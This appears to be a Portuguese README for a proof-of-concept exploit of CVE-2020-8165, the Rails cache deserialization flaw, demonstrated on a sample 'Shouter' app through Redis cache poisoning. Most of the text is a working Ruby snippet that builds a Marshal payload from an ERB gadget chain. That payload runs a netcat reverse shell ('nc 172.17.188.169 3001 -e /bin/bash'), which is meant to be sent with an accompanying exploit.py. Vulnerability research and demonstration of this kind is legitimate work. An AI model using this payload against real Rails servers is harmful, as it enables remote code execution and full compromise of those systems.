
Demonstração do exploit RCE de desserialização Rails CVE-2020-8165 com aplicativo Shouter realista, geração de payload em Ruby e envenenamento de cache Redis.
Mais uma demonstração do CVE-2020-8165, porém em uma implementação mais realista do que a maioria.
CVE-2020-8165
Existe uma vulnerabilidade de desserialização de dados não confiáveis em rails < 5.2.4.3 e rails < 6.0.3.1 que pode permitir que um atacante faça unmarshal de objetos fornecidos pelo usuário no MemCacheStore e no RedisCacheStore, resultando potencialmente em um RCE.
O aplicativo "Shouter" tem um recurso de cache em seu modelo Shout, onde imagens opcionais enviadas com um shout:string são armazenadas em cache no redis e recuperadas de lá em vez do banco de dados. Como o método vulnerável é usado para interagir com o cache, este aplicativo é suscetível ao CVE-2020-8165, e os resultados do RCE são colocados no src das tags na rota do dashboard.
Rails.cache.fetchimgO trecho a seguir gerará o payload que você precisa enviar usando exploit.py. Há algumas nuances na etapa de serialização que precisam ser descobertas para implementar o exploit totalmente em Python. Portanto, Marshal.dump em Ruby é necessário para gerar o payload exato (por enquanto).
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload